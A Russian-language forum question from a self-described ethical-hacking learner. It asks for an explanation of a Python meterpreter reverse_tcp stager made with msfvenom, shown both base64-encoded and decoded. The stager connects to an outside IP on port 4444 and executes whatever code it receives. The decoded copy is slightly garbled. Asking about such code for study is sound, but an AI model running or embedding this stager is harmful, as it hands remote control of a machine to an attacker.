Можете ли вы помочь мне понять эту полезную нагрузку Python? - PullRequest
0 голосов
/ 24 сентября 2018

Я тренируюсь с безопасностью попугаев и python для этического взлома .. Я использую msfvenom -p python / meterpreter / reverse_tcp, который создает файл pyw со скрытым подключением к вашей машине.Итак, я проанализировал код, который вставлен для вас ниже:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE4NS4yMjAuMTAxLjM0Jyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')))

Он закодирован в base64.После того, как я расшифровал это, появляется этот скрипт:

import socket, struct, time

for x in range(10):
try:
    s = socket.socket(2, socket.SOCK_STREAM)
    s.connect(('185.220.101.34', 4444))
    f = socket.socket()
    break
except:
    time.sleep(5)
l = struct.unpack('>I', s.recv(4))[0]
d = s.recv(l)
while len(d) < l:
d += s.recv(l - len(d))
exec(d, {'s': s})

Я не понимаю некоторые вещи ... почему в параметрах сокета есть число "2"?Документация гласит: Создайте новый сокет, используя данное семейство адресов.Итак, 2 остаться на ...?Тогда, можете ли вы объяснить мне часть после time.sleep (5), так что из l = struct.unpack .... в exec (d, {'s': s})?Я не понимаю, как это работает и что делает код che в этой части.Заранее спасибо!

...